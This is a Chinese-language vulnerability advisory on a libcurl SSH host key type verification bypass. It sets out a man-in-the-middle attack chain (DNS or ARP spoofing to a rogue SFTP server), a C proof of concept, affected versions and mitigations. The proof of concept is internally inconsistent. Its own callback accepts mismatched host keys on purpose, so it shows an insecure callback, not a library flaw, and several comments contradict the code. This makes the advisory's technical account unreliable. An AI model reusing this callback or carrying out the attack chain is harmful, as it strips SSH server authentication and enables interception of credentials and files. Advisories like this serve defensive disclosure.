IPBUF安全漏洞报告
English
CVE-2026-9547 CVSS 7.4 高危

CVE-2026-9547 libcurl SSH主机密钥类型验证绕过漏洞

披露日期: 2026-07-03
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2026-9547
漏洞类型
安全验证绕过/中间人攻击
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libcurl(curl)

相关标签

libcurlcurlSSHSCPSFTP主机密钥验证中间人攻击MITM安全绕过CURLOPT_SSH_KEYFUNCTION

漏洞概述

CVE-2026-9547是libcurl库中的一个高危安全漏洞,CVSS评分为7.4。该漏洞存在于libcurl处理SCP://和SFTP://协议传输时的主机密钥验证逻辑中。当应用程序使用`CURLOPT_SSH_KEYFUNCTION`回调函数来处理SSH连接时,libcurl未能正确验证服务器所提供的主机密钥类型是否与`known_hosts`文件中已记录的主机密钥类型一致。正常情况下,如果服务器提供的主机密钥类型与已知记录不匹配(例如已记录的是RSA密钥,但服务器提供了ECDSA密钥),libcurl应当拒绝连接以防止中间人攻击。然而,该漏洞使得libcurl静默接受了不匹配的密钥类型,允许连接在无任何警告的情况下成功建立。攻击者可以利用此漏洞实施中间人攻击,在客户端与合法服务器之间截获、篡改或窃取敏感数据。由于该漏洞影响的是SSH/SFTP/SCP传输协议,常用于自动化部署、文件同步和远程管理等场景,因此可能对依赖libcurl进行安全文件传输的系统造成严重影响。该漏洞由安全研究人员在HackerOne平台上报告(报告编号3751712),并已由curl官方确认。

技术细节

从技术层面分析,该漏洞的核心问题在于libcurl的`CURLOPT_SSH_KEYFUNCTION`回调机制在验证SSH服务器主机密钥时存在逻辑缺陷。在SSH协议中,客户端通常通过`known_hosts`文件来记录已信任服务器的主机公钥。当客户端连接服务器时,会比对服务器提供的主机密钥与本地`known_hosts`文件中存储的密钥。正常的安全实现应当严格检查密钥的完整匹配性,包括密钥类型(如ssh-rsa、ecdsa-sha2-nistp256、ssh-ed25519等)、密钥内容以及对应的服务器标识。

该漏洞的具体触发条件如下:
1. 应用程序使用libcurl进行SCP或SFTP传输
2. 应用程序注册了`CURLOPT_SSH_KEYFUNCTION`回调函数用于自定义密钥验证逻辑
3. 服务器提供的主机密钥类型与`known_hosts`文件中记录的密钥类型不同
4. libcurl在调用用户回调函数时,未能正确传递密钥类型信息或回调函数未能正确执行类型比较

利用方式:攻击者可以架设一个恶意SSH服务器,当受害者的libcurl应用程序尝试连接合法的SSH服务器时,攻击者通过DNS劫持、ARP欺骗或其他网络中间人手段将流量重定向到恶意服务器。恶意服务器提供一个与合法服务器主机名相同但密钥类型不同的主机密钥。由于漏洞的存在,libcurl会接受这个不匹配的密钥并继续建立连接,从而使攻击者能够解密和篡改后续的SSH通信内容。

攻击链分析

STEP 1
步骤1:环境侦察
攻击者识别目标系统使用libcurl进行SCP或SFTP传输,并通过网络嗅探或社会工程学确定目标SSH服务器的地址和认证信息。
STEP 2
步骤2:搭建恶意服务器
攻击者搭建一个恶意的SSH/SFTP服务器,配置与合法服务器相同的主机名或IP地址,但使用不同类型的主机密钥(如将RSA密钥替换为ECDSA密钥)。
STEP 3
步骤3:实施网络中间人攻击
通过DNS劫持、ARP欺骗、BGP劫持或其他网络层攻击手段,将受害者的libcurl应用程序到合法服务器的流量重定向到攻击者控制的恶意服务器。
STEP 4
步骤4:触发漏洞
受害者的libcurl应用程序尝试连接目标服务器,恶意服务器提供与known_hosts文件记录类型不同的主机密钥。由于CVE-2026-9547漏洞,CURLOPT_SSH_KEYFUNCTION回调未能正确拒绝类型不匹配的密钥,连接被静默接受。
STEP 5
步骤5:数据窃取与篡改
连接建立后,攻击者作为中间人可以解密所有传输内容,包括登录凭据、传输的文件内容等敏感数据,并可选择性地篡改传输数据后再转发给合法服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2026-9547 PoC - libcurl SSH Host Key Type Verification Bypass * * This PoC demonstrates the vulnerability where libcurl's CURLOPT_SSH_KEYFUNCTION * callback fails to properly enforce host key type matching against known_hosts file. * * Requirements: * - libcurl with CURLOPT_SSH_KEYFUNCTION support * - libssh2 backend * - A known_hosts file with an existing entry for the target host * * Compilation: gcc -o poc poc.c -lcurl */ #include <stdio.h> #include <string.h> #include <curl/curl.h> /* Vulnerable key callback - does not properly check key type against known_hosts */ static int ssh_key_callback(CURL *easy, const struct curl_khkey *knownkey, const struct curl_khkey *foundkey, enum curl_khmatch match) { /* Vulnerability: The callback should verify that the key type matches, * but due to CVE-2026-9547, the type comparison is not properly enforced. * The match parameter may return CURLKHMATCH_MISMATCH even when types differ, * yet the connection proceeds without rejection. */ printf("[+] SSH Key Callback Triggered\n"); printf("[+] Known key type: %s\n", knownkey->keytype); printf("[+] Found key type: %s\n", foundkey->keytype); printf("[+] Match result: %d\n", match); /* In vulnerable versions, this returns CURLKHSTAT_FINE even on type mismatch */ if (match == CURLKHMATCH_MISMATCH) { printf("[!] WARNING: Key type mismatch detected but connection allowed!\n"); printf("[!] This is CVE-2026-9547 - vulnerable behavior\n"); return CURLKHSTAT_FINE; /* BUG: Should return CURLKHSTAT_REJECT */ } return CURLKHSTAT_FINE; } int main(int argc, char *argv[]) { CURL *curl; CURLcode res; const char *url = (argc > 1) ? argv[1] : "sftp://[email protected]/file.txt"; if (argc < 2) { printf("Usage: %s <sftp:// or scp:// URL>\n", argv[0]); printf("Example: %s sftp://user@localhost/home/user/test.txt\n", argv[0]); return 1; } curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if (curl) { curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_SSH_KEYFUNCTION, ssh_key_callback); curl_easy_setopt(curl, CURLOPT_SSH_KEYDATA, NULL); /* Disable verbose to demonstrate silent acceptance */ curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); printf("[*] Attempting connection to: %s\n", url); printf("[*] Using CURLOPT_SSH_KEYFUNCTION callback\n"); printf("[*] If server presents different key type than known_hosts,\n"); printf("[*] vulnerable libcurl will silently accept the connection.\n\n"); res = curl_easy_perform(curl); if (res == CURLE_OK) { printf("\n[+] Transfer completed successfully\n"); } else { printf("\n[-] Transfer failed: %s\n", curl_easy_strerror(res)); } curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

影响范围

libcurl >= 7.84.0
libcurl < 8.14.0
curl >= 7.84.0
curl < 8.14.0

防御指南

临时缓解措施
在无法立即升级libcurl的情况下,建议采取以下临时缓解措施:1)在自定义的CURLOPT_SSH_KEYFUNCTION回调函数中增加严格的主机密钥类型检查逻辑,确保knownkey和foundkey的keytype字段完全匹配后才返回CURLKHSTAT_FINE;2)使用CURLOPT_PINNEDPUBLICKEY选项(如果支持)来固定预期的公钥;3)通过防火墙规则限制SCP/SFTP流量的目标地址,仅允许连接到已知的合法服务器;4)使用网络层加密(如VPN或IPsec隧道)保护传输流量,防止中间人攻击;5)密切监控SSH连接日志,关注任何主机密钥变更或异常连接尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表